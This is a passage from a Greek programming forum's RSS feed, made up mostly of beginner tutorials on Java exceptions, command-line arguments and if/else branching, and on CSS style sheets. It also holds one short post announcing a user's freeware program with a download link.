χωρίς να ανησυχούμε για όλες τις ειδικές περιπτώσεις. Έπειτα, σ’ ένα ξεχωριστό μπλοκ του κώδικα, θα καλύψουμε τις περιπτώσεις των εξαιρέσεων. Έτσι παράγουμε περισσότερο ευανάγνωστο κώδικα αφού δεν χρειάζεται να διακόπτουμε τη ροή του αλγόριθμου για να ελέγξουμε και να ανταποκριθούμε σε κάθε περίεργη κατάσταση. Το περιβάλλον εκτέλεσης είναι υπεύθυνο για τη μετακίνηση από την κανονική ροή του προγράμματος στους χειριστές εξαιρέσεων, όταν προκύπτει μια τέτοια συνθήκη.<br /><br />Στην πράξη αυτό που κάνετε είναι να γράφετε blocks από κώδικα που μπορούν να παράγουν εξαιρέσεις. Εσείς δοκιμάζετε τις δηλώσεις που παράγουν τις εξαιρέσεις. Μέσα στα try blocks είστε ελεύθεροι να ενεργείτε σα να μη συμβαίνει κανένα λάθος. Έπειτα, μέσα σε ένα ή περισσότερα catch blocks γράφετε τη λογική του προγράμματος που χειρίζεται όλες τις ειδικές περιπτώσεις.<br /><br />Ακολουθεί ένα παράδειγμα χειρισμού εξαιρέσεων σε Java που εφαρμόζεται στο πρόγραμμα Hello World:<br /><br /><br />// This is the Hello program in Java<br />class ExceptionalHello {<br /><br />    public static void main (String args[]) {<br />    <br />      /* Now let's say hello */<br />      try {<br />        System.out.println("Hello " + args[0]);<br />      }<br />      catch (Exception e) {<br />        System.out.println("Hello whoever you are");      <br />      }<br />  }<br /><br />}<br /><br />Kάποιες εξαιρέσεις είναι δυνατόν να τις αντιληφθούμε και να τις χειριστούμε, ενώ κάποιες άλλες είναι τόσο δύσκολες που το σύστημα εκτέλεσης παραιτείται. Ο compiler θα «χτυπήσει» αν γράφετε κώδικα και δεν συμπεριλάβετε τις όχι και τόσο επικίνδυνες εξαιρέσεις, αλλά εσείς πρέπει να προσέχετε για τις επικίνδυνες (όπως το ArrayIndexOutOfBoundsExceptions).<br /><br />Πολλές φορές το να αντιληφθούμε την εξαίρεση δεν αρκεί γιατί δεν μπορούμε να την αντιμετωπίσουμε. Οι «κακές» εξαιρέσεις σταματούν το πρόγραμμα. Πολλές φορές το θέλετε κι εσείς οι ίδιοι. Σ’ αυτή την περίπτωση καλείται η System.exit(int) μέθοδος και το εκτελούμενο πρόγραμμα κρεμάει.<br /><br />Άλλες φορές μπορείτε να βγείτε από έναν βρόγχο και να συνεχίσετε με το υπόλοιπο πρόγραμμα. Αυτό είναι συνηθισμένο όταν μια εξαίρεση είναι αναμενόμενη ή όταν δεν επηρεάζει αρνητικά τη λογική του προγράμματος.<br /><br />Μπορείτε να τυπώνετε ένα μήνυμα λάθους ή όχι. Αν γράφετε ένα χειριστή εξαιρέσεων και δεν περιμένετε να τον καλείτε τότε βάλτε ένα:<br /><br /><!--sizeo:1--><span style="font-size:8pt;line-height:100%"><!--/sizeo-->System.out.println("Error: " + e);<!--sizec--></span><!--/sizec--><br /><br />Μ’ αυτόν τον τρόπο, αν κάτι πάει λάθος (που πάντα συμβαίνει) τουλάχιστον θα γνωρίζετε πού συμβαίνει. Μη βάλετε μήνυμα λάθους στους χειριστές του κανονικού προγράμματος. Θυμηθείτε ότι είναι εξαιρέσεις και όχι λάθη.]]></description>
		<pubDate>Mon, 15 Jun 2009 21:42:08 +0300</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=943</guid>
	</item>
	<item>
		<title>Τρόποι ορισμού των style sheets</title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=881</link>
		<description><![CDATA[Ο ορισμός των styles μετά την οδηγία &lt;HTML&gt; και πριν από την οδηγία &lt;BODY&gt; (Embedded Stylesheet) είναι ένα μόνο από τους τρόπους με τους οποίους μπορούνα να δηλώσουμε στον browser ποια styles επιθυμούμε να χρησιμοποιήσει. ’λλοι τρόποι είναι:<br /><br /><b><!--sizeo:4--><span style="font-size:14pt;line-height:100%"><!--/sizeo-->Δήλωση σε συγκεκριμένο σημείο της σελίδας<!--sizec--></span><!--/sizec--></b><br /><br /><br />Στο ακόλουθο παράδειγμα κάθε οδηγία διαθέτει τα δικά της styles: <br /><br />&lt;HTML&gt; &lt;HEAD&gt;<br />&lt;TITLE&gt;Δοκιμές Stylesheets&lt;/TITLE&gt;<br />&lt;/HEAD&gt;<br />&lt;BODY&gt;<br />&lt;H2 STYLE="color: yellow; font-family: courier"&gt;Κίτρινα courier γράμματα&lt;/H2&gt;<br />&lt;P STYLE="background: lime; font-family: impact"&gt;Ανοικτό πράσινο φόντο και έντονα γράμματα&lt;/P&gt;<br />&lt;/BODY&gt;<br />&lt;/HTML&gt;<br /><br />Η εμφάνιση του H2 και του κειμένου της παραγράφου θα είναι: <br /><br /><br /><br /><br /><b><!--sizeo:4--><span style="font-size:14pt;line-height:100%"><!--/sizeo-->Κίτρινα courier γράμματα<!--sizec--></span><!--/sizec--></b><br /><br />Ανοικτό πράσινο φόντο και έντονα γράμματα<br /><br />Όπως φαίνεται και από το παραπάνω παράδειγμα, αν δηλώνουμε τα styles σε κάθε οδηγία ξεχωριστά δεν υπάρχει λόγος να ορίσουμε styles στο BODY. Αυτό φυσικά είναι εξαιρετικά χρονοβόρο και δεν υπάρχει λόγος να το κάνουμε. Ωστόσο, στην περίπτωση που έχουμε ορίσει στο BODY κάποιο ειδικό style (π.χ. &lt;STYLE TYPE="text/css"&gt;&lt!--H2 { color: red; font-family: impact }--&gt;&lt;/STYLE&gt;) αλλά θέλουμε μια συγκεκριμένη επικεφαλίδα να ακολουθήσει ένα άλλο (π.χ. &lt;H2 STYLE="color: yellow; font-family: courier"&gt;) τότε μπορούμε να παρακάμψουμε τον γενικό κανόνα, ορίζοντας κάτι ιδιαίτερο αποκλειστικά γι' αυτήν. <br /><br /><br /><br /><br /><b>Δήλωση όλων των styles σε ένα μητρικό stylesheet (linking)</b><br />Αν το επιθυμούμε έχουμε τη δυνατότητα να ορίσουμε ένα μητρικό stylesheet και να δηλώσουμε σε όλες τις άλλες σελίδες του site μας (ή σε όσες από αυτές επιθυμούμε) ότι οι παράμετροι των styles τους βρίσκονται στο έγγραφο Χ. Έτσι, κερδίζουμε σε ταχύτητα κατασκευής αλλά και σε ευελιξία διότι αρκεί κάποια αλλαγή στον κώδικα μιας σελίδας για να μεταβάλουμε την εμφάνιση σε όλες όσες έχουν συνδέσει τα styles τους μαζί της. <br /><br />Για να το επιτύχουμε αυτό δημιουργούμε ένα ειδικό αρχείο κειμένου στο οποίο δηλώνουμε όλα τα styles που επιθυμούμε και δηλώνουμε τη θέση του σε όλες τις σελίδες οι οποίες θα το χρησιμοποιούν ως οδηγό για την εμφάνιση του περιεχομένου τους. Στο παράδειγμα που ακολουθεί η σελίδα δηλώνει πως τα styles απεικόνισής της θα ληφθούν από το αρχείο basic.css <br /><br />&lt;HTML&gt; &lt;HEAD&gt;<br />&lt;TITLE&gt;Δοκιμές Stylesheets&lt;/TITLE&gt;<br />&lt;LINK REL=stylesheet HREF="basic.css" TYPE="text/css"&gt;<br />&lt;/HEAD&gt;<br />&lt;BODY&gt;<br />&lt;H3&gt; Ασημόγκριζα έντονα γράμματα&lt;/H3&gt;<br />&lt;P&gt; Ανοικτό γαλάζιο φόντο και arial γράμματα&lt;/P&gt;<br />&lt;/BODY&gt;<br />&lt;/HTML&gt;<br /><br />Το αρχείο basic.css είναι ένα απλό αρχείο κειμένου (με οποιοδήποτε όνομα θέλουμε και την επέκταση .css) το οποίο περιέχει τα ακόλουθα: <br /><br />H3 { color: silver; font-family: impact }<br />P { background: aqua; font-family: arial } <br /><br />Εννοείται φυσικά ότι αν το basic.css δεν βρίσκεται στον ίδιο φάκελο με το αρχείο της σελίδας, στο HREF θα δηλωθεί όλη η διαδρομή (π.χ. HREF="&#46;&#46;/main/basic.css") <br /><br /><br /><br /><br /><b><!--sizeo:4--><span style="font-size:14pt;line-height:100%"><!--/sizeo-->Εισαγωγή (importing) styles από ένα άλλο stylesheet<!--sizec--></span><!--/sizec--></b><br />Σε ορισμένες περιπτώσεις είναι πιθανό να επιθυμούμε τη χρήση μερικών αλλά όχι όλων των χαρακτηριστικών κάποιου άλλου stylesheet. Στην περίπτωση αυτή μπορούμε να το εισαγάγουμε αλλά παράλληλα να δηλώσουμε και κάποια επιπρόσθετα δικά μας styles μέσα στην οδηγία &lt;STYLE&gt;. <br /><br />Στο παράδειγμα που ακολουθεί καλούμε το basic.css για να χρησιμοποιήσουμε τα styles του, αλλά υποδηλώνουμε και δικά μας (H3 { color: orange; font-family: impact }). Στο παράδειγμα αυτό η επικεφαλίδα H3 δηλώνεται ως color: silver από το basic.css και color: orange από ξεχωριστή δήλωση που κάναμε μέσα στην οδηγία &lt;STYLE&gt;. Σε περίπτωση παρόμοιας αντίφασης θα επικρατήσει η ρύθμιση η οποία έχει δηλωθεί αυτόνομα (εκτός του αρχείου .css). <br /><br />&lt;HTML&gt;<br />&lt;HEAD&gt;<br />&lt;TITLE&gt;Δοκιμές Stylesheets&lt;/TITLE&gt;<br />&lt;STYLE TYPE="text/css"&gt;<br />&lt!-- @import url(basic.css); H3 { color: orange; font-family: impact } --&gt;<br />&lt;/STYLE&gt;<br />&lt;/HEAD&gt;<br />&lt;BODY&gt;<br />&lt;H3&gt; Πορτοκαλιά έντονα γράμματα&lt;/H3&gt;<br />&lt;P&gt; Ανοικτό γαλάζιο φόντο και arial γράμματα&lt;/P&gt;<br />&lt;/BODY&gt;<br />&lt;/HTML&gt;<br /><br />Το μεγάλο πλεονέκτημα της τεχνικής αυτής (linking) βρίσκεται στην ευελιξία της. Μπορούμε δηλαδή να συνθέσουμε τα styles μιας σελίδας, συνδυάζοντας τις ρυθμίσεις ενός εξωτερικού (.css) αρχείου με ρυθμίσεις που συντάσουμε ειδικά γι' αυτήν. Αυτή η δυνατότητα δεν υπάρχει στην περίπτωση της δήλωσης όλων των styles σε ένα μητρικό stylesheet (linking).]]></description>
		<pubDate>Tue, 09 Jun 2009 02:11:38 +0300</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=881</guid>
	</item>
	<item>
		<title>PXRT Program</title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=4</link>
		<description><![CDATA[Oriste paidia fresko pragma...<br />Simera stis 7 to proi to teliosa xD<br /><br /><a href="http://download.pxrt.info/setup.rar" target="_blank">http://download.pxrt.info/setup.rar</a><br /><br />Freeware<br /><br />Den einai aplo txt... deite to .. (kati pou den tha katalavete... ta arxia apothikeuonte se kataliksi pxrt kai mporoyne na diavastoune mono apo to programa m akoma kai an alaksete ton typo) <img src="http://www.hackeruniversity.gr/forum/style_emoticons/default/wink.gif" style="vertical-align:middle" emoid=";)" border="0" alt="wink.gif" />]]></description>
		<pubDate>Tue, 03 Mar 2009 07:31:42 +0200</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=4</guid>
	</item>
	<item>
		<title>Κατασκευή μιας απλής σελίδας με style sheets</title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=880</link>
		<description><![CDATA[Κατασκευή μιας απλής σελίδας με style sheetsΣυνήθως ο ορισμός των styles της σελίδας μας γίνεται με την τοποθέτηση ειδικών κανόνων (δηλαδή κατάλληλα διατυπωμένων ρυθμίσεων) μετά την οδηγία &lt;HTML&gt; και πριν από την οδηγία &lt;BODY&gt;. Για παράδειγμα, ο κώδικάς μας μπορεί να είναι: <br /><br />&lt;HTML&gt; &lt;STYLE TYPE="text/css"&gt;&lt!--H2 { color: blue }--&gt;&lt;/STYLE&gt;&lt;HEAD&gt;&lt;TITLE&gt;Η πρώτη μου σελίδα με styles&lt;/TITLE&gt;&lt;/HEAD&gt;&lt;BODY&gt; <br /><br /><br /><br /><br /><b><!--sizeo:4--><span style="font-size:14pt;line-height:100%"><!--/sizeo-->Τι είναι οι κανόνες (rules):<!--sizec--></span><!--/sizec--></b><br />Οι κανόνες αποτελούν το θεμέλιο των Stylesheets. Στο παραπάνω παράδειγμα υπάρχει ο κανόνας <br /><br />H2 { color: blue } <br /><br />ο οποίος δηλώνει στον browser πως όπου συναντήσει την οδηγία &lt;H2&gt;...&lt;/H2&gt;, όλο το κείμενο που περικλύεται από αυτήν θα πρέπει να εμφανιστεί με μπλε χρώμα. <br /><br />Κάθε κανόνας αποτελείται από στοιχεία (selectors) και επιλογές (declarations). Στο παραπάνω παράδειγμα το στοιχείο (selector) μας είναι η οδηγία H2 (όλες οι οδηγίες HTML αποτελούν selectors), ενώ η επιλογή (declaration) μας είναι το color: blue. Κάθε επιλογή αποτελείται από παραμέτρους (properties) και τιμές (values). Στο παραπάνω παράδειγμα το color είναι η παράμετρος (property) και το blue είναι η τιμή (value). <br /><br />Μπορούμε να χρησιμοποιήσουμε ως στοιχείο οποιαδήποτε οδηγία HTML. Επίσης, μπορούμε να ομαδοποιήσουμε στοιχεία και να τους ορίσουμε τις ίδιες επιλογές. Για παράδειγμα το <br /><br />H2, P, BLOCKQUOTE { font-family: arial } <br /><br />δηλώνει πως οτιδήποτε περικλύεται από τις οδηγίες &lt;H2&gt;, &lt;P&gt; και &lt;BLOCKQUOTE&gt; θα εμφανιστεί με arial γραμματοσειρά. Έτσι, ο κώδικας για τον ταυτόχρονο ορισμό αυτών των τριών στοιχείων θα είναι: <br /><br />&lt;HTML&gt; &lt;STYLE TYPE="text/css"&gt;&lt!--H2, P, BLOCKQUOTE { font-family: arial }--&gt;&lt;/STYLE&gt;&lt;HEAD&gt;&lt;TITLE&gt;Η πρώτη μου σελίδα με styles&lt;/TITLE&gt;&lt;/HEAD&gt;&lt;BODY&gt; <br /><br />Αν θέλουμε να ορίσουμε πολλά στοιχεία και πολλές επιλογές ο κώδικάς μας θα διαμορφωθεί ως εξής: <br /><br />&lt;HTML&gt; &lt;STYLE TYPE="text/css"&gt;&lt!--H2 { color: green } P, BLOCKQUOTE { font-family: arial }--&gt;&lt;/STYLE&gt;&lt;HEAD&gt;&lt;TITLE&gt;Η πρώτη μου σελίδα με styles&lt;/TITLE&gt;&lt;/HEAD&gt;&lt;BODY&gt; <br /><br />Στο παραπάνω παράδειγμα ορίζουμε πως τα περιεχόμενα της H2 θα είναι πράσινα, ενώ τα περιεχόμενα των P και BLOCKQUOTE θα εμφανιστούν με arial γραμματοσειρά. <br /><br /><br /><br /><br /><b><!--sizeo:4--><span style="font-size:14pt;line-height:100%"><!--/sizeo-->Ισχύς των κανόνων:<!--sizec--></span><!--/sizec--></b><br />Οι κανόνες που ορίζουμε με την οδηγία &lt;STYLE&gt; έχουν ισχύ σε ολόκληρη τη web σελίδα αν δεν αναιρούνται από ένα άλλο Stylesheet. Επίσης, κληρονομούν τις ιδιότητές τους σε όλα τα μέρη της σελίδας που επηρεάζονται από τα οριζόμενα στοιχεία. Για παράδειγμα, ας υποθέσουμε πως έχουμε τον ακόλουθο κώδικα: <br /><br />&lt;HTML&gt; &lt;STYLE TYPE="text/css"&gt;&lt!--B { color: blue }--&gt;&lt;/STYLE&gt;&lt;BODY&gt;...........&lt;B&gt;Τα πάντα &lt;u&gt;&lt;i&gt;πρέπει&lt;/i&gt;&lt;/u&gt; να δουλεύουν τέλεια&lt;/B&gt;, είπε ο &lt;u&gt;&lt;i&gt;Θανάσης&lt;/i&gt;&lt;/u&gt;....&lt;/BODY&gt;&lt;/HTML&gt; <br /><br />Εδώ έχουμε ορίσει πως το style της &lt;B&gt; θα είναι μπλε αλλά δεν έχουμε ορίσει τίποτε για τις &lt;u&gt; και &lt;i&gt;. Γι' αυτό, το περιεχόμενό τους θα αποκτήσει το μπλε χρώμα το οποίο, σύμφωνα με όσα έχουμε δηλώσει, εφαρμόζεται σε οτιδήποτε βρίσκεται μέσα στην οδηγία &lt;B&gt;.]]></description>
		<pubDate>Tue, 09 Jun 2009 02:09:24 +0300</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=880</guid>
	</item>
	<item>
		<title>ΟΡΙΣΜΑΤΑ ΓΡΑΜΜΩΝ ΕΝΤΟΛΩΝ (COMMAND LINE ARGUMENTS)</title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=928</link>
		<description><![CDATA[Το πρόγραμμά μας δεν είναι ακόμα πολύ γενικό, δε μπορούμε να αλλάξουμε το όνομα στο οποίο λέμε Hello, χωρίς να επανασυντάξουμε και να μεταγλωτίσουμε τον κώδικα. Αυτό μπορεί να μην ενοχλεί τους προγραμματιστές, αλλά τι θα γίνει αν μια γραμματέας θελήσει ο υπολογιστής να λέει Hello σ’ αυτήν;<br /><br />Αυτό που χρειάζεται είναι ένας τρόπος να αλλάζουμε το όνομα κατά τη διάρκεια που τρέχει το πρόγραμμα (δηλαδή όταν πληκτρολογούμε java HelloRusty). Για να γίνει αυτό θα χρησιμοποιήσουμε τα ορίσματα γραμμών εντολών (command line arguments). Μας επιτρέπουν να πληκτρολογούμε Java Hello Gloria και το πρόγραμμα να ανταποκρίνεται δίνοντας σαν έξοδο «Hello Gloria». Ακολουθεί ο κώδικας :<br /><br /><br />// This is the Hello program in Java<br />class Hello {<br /><br />    public static void main (String args[]) {<br />    <br />        /* Now let's say hello */<br />        System.out.print("Hello ");<br />        System.out.println(args[0]);<br />  }<br /><br />}<br /><br /><!--fonto:Palatino Linotype--><span style='font-family: "Palatino Linotype"'><!--/fonto-->Mεταγλωτίστε το πρόγραμμα στο java directory όπως συνήθως και μετά πληκτρολογήστε java Hello Gloria.<!--fontc--></span><!--/fontc--><br /><br />Στην πραγματικότητα απαλλαχτήκαμε από τη μεταβλητή ονόματος του προγράμματος HelloRusty. Στη θέση της χρησιμοποιούμε args[0]. Args είναι αυτό που γνωρίζατε ως τώρα σαν πίνακα. Ένας πίνακας αποθηκεύει μια σειρά από τιμές. Οι τιμές αυτές μπορεί να είναι αλφαριθμητικά, όπως στο παράδειγμά μας, αριθμοί ή οποιαδήποτε άλλη μορφή δεδομένων της Java.<br /><br />Args είναι ένας ειδικός πίνακας που κρατάει τα ορίσματα της γραμμής εντολών (command line arguments). Το args[0] κρατάει το πρώτο command line argument. Το args[1] κρατάει το δεύτερο command line argument και ούτω καθεξής. Αυτή τη στιγμή ίσως κάτι να μην σας φαίνεται σωστό. Αν δεν έχετε προγραμματίσει ξανά ή αν έχετε προγραμματίσει μόνο σε Pascal ή σε Fortran, πιθανόν να αναρωτιέστε γιατί το πρώτο στοιχείο του πίνακα είναι στη θέση 0, το δεύτερο στη θέση 1, το τρίτο στη θέση 2, αντί να είναι το πρώτο στοιχείο στη θέση 1 και ούτω καθεξής. Αυτό συμβαίνει και στη C. <br /><br />Από την άλλη μεριά, αν έχετε συνηθίσει να προγραμματίζετε σε C, πιθανόν να αναρωτιέστε γιατί το args[0] είναι το πρώτο command line argument και όχι το command name. Το πρόβλημα στη Java είναι ότι δεν είναι πάντα φανερό ποιό είναι το command name. Στο παράδειγμά μας παραπάνω είναι το java ή το Hello;<br /><br />Τώρα θα πρέπει να πειραματιστούμε λίγο με το πρόγραμμα. Τι συμβαίνει αν αντί να πληκτρολογήσουμε java Hello Gloria, πληκτρολογήσουμε java Hello Gloria and Beth; Τι συμβαίνει αν δεν χρησιμοποιήσουμε καθόλου όνομα π.χ java Hello;<br /><br />Δεν ήταν ενδιαφέρον; Πιθανόν να έχετε δει κάτι παρόμοιο με το: Exception in thread «main» java.lang.ArrayIndexOutOfBoundsException at Hello.main(C:&#092;javahtml&#092;Hello.java:7). Αυτό που συμβαίνει είναι ότι από τη στιγμή που δεν δίνουμε στο Hello κανένα command line argument δεν υπάρχει τίποτα στο args[0]. <br /><br /><b><u><!--sizeo:4--><span style="font-size:14pt;line-height:100%"><!--/sizeo-->IF<!--sizec--></span><!--/sizec--></u></b><br /><br />Aκόμα και τα πιο ασήμαντα προγράμματα πρέπει να παίρνουν αποφάσεις. Πρέπει να ελέγχουν κάποιες συνθήκες και να λειτουργούν διαφορετικά, βασιζόμενα σ’ αυτές τις συνθήκες. Αυτό είναι συνηθισμένο στην πραγματική ζωή. Για παράδειγμα, βγάζετε το χέρι σας έξω από το παράθυρο για να διαπιστώσετε αν βρέχει. Αν βρέχει παίρνετε μαζί σας ομπρέλα, διαφορετικά όχι.<br /><br />Όλες οι γλώσσες προγραμματισμού έχουν μορφές δηλώσεων if που επιτρέπουν να εξετάζουμε συνθήκες. Στον προηγούμενο κώδικα θα έπρεπε να είχαμε ελέγξει αν υπήρχαν command line arguments προτού προσπαθήσουμε να τα χρησιμοποιήσουμε.<br /><br />Όλοι οι πίνακες έχουν μήκη και γι’ αυτό χρησιμοποιούμε τη μεταβλητή arrayname.length. Έλέγχουμε το μήκος του args παρακάτω: <br /><br /><br />// This is the Hello program in Java<br />class Hello {<br /><br />    public static void main (String args[]) {<br />    <br />        /* Now let's say hello */<br />        System.out.print("Hello ");<br />        if (args.length &gt; 0) {<br />           System.out.println(args[0]);<br />        }<br />  }<br /><br />}<br /><br />Mεταγλωτίστε και τρέξτε το πρόγραμμα, δίνοντας διαφορετικές εισόδους κάθε φορά. Θα πρέπει να παρατηρήσετε ότι δεν είναι πια ένα ArrayIndexOutOfBoundsException αν δεν δώσετε command line arguments.<br /><br />Αυτό που κάναμε ήταν να βάλουμε τη δήλωση System.out.println(args[0]) σε έναν έλεγχο υπόθεσης if (args.length&gt;0){ }. Ο κώδικας μεταξύ των αγκίστρων System.out.println(args[0]) τώρα πια εκτελείται αν και μόνο αν το μήκος των args είναι μεγαλύτερο από το 0. Στην Java χρησιμοποιούμε το &gt;,που σημαίνει μεγαλύτερο από, το &lt; που σημαίνει μικρότερο από, το &lt;= και το &gt;=.<br /><br />Θα περιμένατε ότι ο έλεγχος της ισότητας δύο αριθμών πραγματοποιείται με το σύμβολο =. Εμείς ήδη χρησιμοποιήσαμε το σύμβολο = για να θέσουμε τιμές σε μία μεταβλητή. Γι’ αυτό χρειαζόμαστε ένα καινούριο σύμβολο για να ελέγχουμε την ισότητα. Έτσι η Java δανείζεται από τη C τον συμβολισμό ==.<br /><br />Δεν είναι ασυνήθιστο ακόμα και για τους πιο έμπειρους προγραμματιστές να γράφουν == όταν εννοούν = και το αντίστροφο. Αυτό είναι ένα πολύ συνηθισμένο λάθος στα προγράμματα της C. Ευτυχώς στη Java δεν επιτρέπεται να χρησιμοποιούμε το == και το = στα ίδια σημεία. Έτσι ο compiler μπορεί να αντιληφθεί το λάθος κι εσείς να το διορθώσετε, προτού τρέξετε το πρόγραμμα.<br /><br />Όλες οι δηλώσεις συνθήκης στη Java ζητούν τιμές boolean κι αυτές επιστρέφουν οι τελεστές ==, &gt;, &lt;,&gt;=,&lt;=. Boolean είναι μια τιμή που είναι true ή false. Αν θέλετε να θέσετε μία μεταβλητή boolean σε ένα πρόγραμμα Java, πρέπει να χρησιμοποιήσετε τις σταθερές true και false. Το false δεν είναι 0 και το true δεν είναι όχι 0, όπως στη C. <br /><br />Οι έμπειροι προγραμματιστές πιθανόν να επισημάνουν ότι υπάρχει μια εναλλακτική μέθοδος να χειριστούμε το ArrayIndexOutOfBoundsException με τις δηλώσεις try και catch. Θα επιστρέψουμε σ’ αυτό σύντομα.<br /><br /> <br /><br /><b><u><!--sizeo:4--><span style="font-size:14pt;line-height:100%"><!--/sizeo-->ELSE<!--sizec--></span><!--/sizec--></u></b><br /><br />Ίσως να παρατηρήσατε ένα μικρό σφάλμα (cosmetic bug) στο προηγούμενο πρόγραμμα. Ένα cosmetic bug δεν σπάει το πρόγραμμα ή το σύστημα, ούτε παράγει λανθασμένα αποτελέσματα αλλά απλά ενοχλεί.<br /><br />Το cosmetic bug εδώ ήταν ότι αν δεν περιλαμβάναμε κανένα command line argument, το πρόγραμμα δεν θα έσπαζε, αλλά θα τύπωνε το «Hello» και δεν θα άλλαζε γραμμή. To πρόβλημα ήταν ότι χρησιμοποιήσαμε System.out.print και όχι System.out.println. Δεν υπήρχε χαρακτήρας τέλους γραμμής. Ήταν σαν να πληκτρολογήσαμε αυτό που θέλαμε χωρίς να πατήσουμε το enter. <br /><br />Aυτό θα μπορούσε να διορθωθεί αν τοποθετούσαμε το System.out.println(«»); στο τέλος της μεθόδου main αλλά έτσι θα είχαμε πολλά end-of-lines αν ο χρήστης πληκτρολογούσε ένα όνομα. Θα μπορούσαμε να προσθέσουμε μία δήλωση if. Έτσι θα είχαμε:<br /><br /><br />// This is the Hello program in Java<br />class Hello {<br /><br />    public static void main (String args[]) {<br />    <br />         /* Now let's say hello */<br />         System.out.print("Hello ");<br />         if (args.length &gt; 0) {<br />             System.out.println(args[0]);<br />      }<br />      if (args.length &lt;= 0) {<br />             System.out.println("whoever you are");<br />         }<br />  }<br /><br />}<br /><br /><!--fonto:Palatino Linotype--><span style='font-family: "Palatino Linotype"'><!--/fonto-->Αυτό διορθώνει το σφάλμα, αλλά είναι δύσκολο να διαβαστεί και να εκτελεστεί ο κώδικας. Είναι εύκολο να χάσουμε μια πιθανή περίπτωση. Για παράδειγμα, μπορεί να ελέγξουμε αν το args.length είναι μικρότερο από το 0 και να αφήσουμε την πιο ενδιαφέρουσα περίπτωση δηλαδή όταν το args.length είναι ίσο με το 0. Αυτό που χρειαζόμαστε είναι μια δήλωση else. Ακολουθεί η σωστή λύση:<!--fontc--></span><!--/fontc--><br /><br /><br />// This is the Hello program in Java<br />class Hello {<br /><br />    public static void main (String args[]) {<br />    <br />        /* Now let's say hello */<br />        System.out.print("Hello ");<br />        if (args.length &gt; 0) {<br />             System.out.println(args[0]);<br />        }<br />        else {<br />             System.out.println("whoever you are");<br />        }<br />  }<br /><br />}<br /><br />Τώρα που το Hello τουλάχιστον αποφεύγει το ArrayIndexOutOfBoundsException, δεν έχουμε τελειώσει ακόμα. Το java Hello και το Java Hello Rusty δουλεύουν, αλλά αν πληκτρολογήσουμε java Hello Elliotte Rusty Harold, η Java τυπώνει μόνο Hello Elliotte. Ας το διορθώσουμε.<br /><br />Δεν περιοριζόμαστε σε δύο περιπτώσεις. Μπορούμε να συνδυάσουμε ένα else και ένα if δημιουργώντας ένα else if και να το χρησιμοποιήσουμε για να εξετάσουμε μια πληθώρα από αμοιβαία αποκλειόμενες πιθανότητες. Για παράδειγμα, ακολουθεί μία έκδοση του προγράμματος Hello που χειρίζεται τέσσερα ονόματα :<br /><br /><br />// This is the Hello program in Java<br />class Hello {<br /><br />    public static void main (String args[]) {<br />    <br />      /* Now let's say hello */<br />      System.out.print("Hello ");<br />      if (args.length == 0) {<br />        System.out.print("whoever you are");<br />      }<br />      else if (args.length == 1) {<br />        System.out.println(args[0]);<br />      }<br />      else if (args.length == 2) {<br />        System.out.print(args[0]);<br />        System.out.print(" ");<br />        System.out.print(args[1]);<br />      }      <br />      else if (args.length == 3) {<br />        System.out.print(args[0]);<br />        System.out.print(" ");<br />        System.out.print(args[1]);<br />        System.out.print(" ");<br />        System.out.print(args[2]);<br />      }      <br />      else if (args.length == 4) {<br />        System.out.print(args[0]);<br />        System.out.print(" ");<br />        System.out.print(args[1]);<br />        System.out.print(" ");<br />        System.out.print(args[2]);<br />        System.out.print(" ");<br />        System.out.print(args[3]);<br />      }      <br />      else {<br />        System.out.print(args[0]);<br />        System.out.print(" ");<br />        System.out.print(args[1]);<br />        System.out.print(" ");<br />        System.out.print(args[2]);<br />        System.out.print(" ");<br />        System.out.print(args[3]);<br />        System.out.print(" and all the rest!");<br />       }<br />      System.out.println();<br />  }<br /><br />}<br /><br />Ένας μη έμπειρος προγραμματιστής της Java θα έγραφε κώδικα σαν τον παραπάνω. Ένας από τους λόγους που κάνουν αυτή τη λύση δύσχρηστη, είναι ότι χρησιμοποιούμε για κάθε μεταβλητή διαφορετική δήλωση που θα την τυπώνει. Η Java παρόλ’ αυτά τυπώνει πολλαπλά πράγματα με μία δήλωση. Αντί να περιλαμβάνει μόνο ένα όνομα στο print argument, μπορεί να περιλαμβάνει πολλά που να χωρίζονται μεταξύ τους με +. Αυτά μπορούν να περιλαμβάνουν μεταβλητές όπως args[0] και σταθερά αλφαριθμητικά όπως «and all the rest!». Για παράδειγμα, το τελευταίο block θα μπορούσε να γραφεί<br /><br /><br />else {<br />  System.out.print(args[0] + " " + args[1] + " " + args[2] + " " + args[3] + " and all the rest!");<br />}<br /><br />Αυτή η σύνταξη είναι πιο εύκολο να διαβαστεί και να γραφτεί αλλά παραμένει δύσχρηστη στην περίπτωση που τα command line arguments αυξηθούν. Στην επόμενη ενότητα θα δούμε πώς να χειριζόμαστε πάνω από δύο δισεκατομμύρια command line arguments με απλό τρόπο.<br /><br /> <br /><br /><b><u><!--sizeo:4--><span style="font-size:14pt;line-height:100%"><!--/sizeo-->ΑΣΚΗΣΕΙΣ<!--sizec--></span><!--/sizec--></u></b><br /><!--fonto:Palatino Linotype--><span style='font-family: "Palatino Linotype"'><!--/fonto--><b>1.</b> Ξαναγράψτε ολόκληρο το πρόγραμμα χρησιμοποιώντας μία μόνο μέθοδο τυπώματος σε κάθε block<br /><b>2.</b> Mία άλλη λύση στο πρόβλημα που δεν την είδαμε ακόμα είναι χρησιμοποιώντας το for. Υπάρχει μία ακόμα πιο αποτελεσματική μέθοδος που δεν χρησιμοποιεί το +, παρα μόνο το if’s και ένα else. Δεν χρειάζονται else if’s. Ποια είναι αυτή;<!--fontc--></span><!--/fontc--><br /><br /> ]]></description>
		<pubDate>Mon, 15 Jun 2009 21:13:10 +0300</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=928</guid>
	</item>
	<item>
		<title>mia erwtisi</title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=846</link>
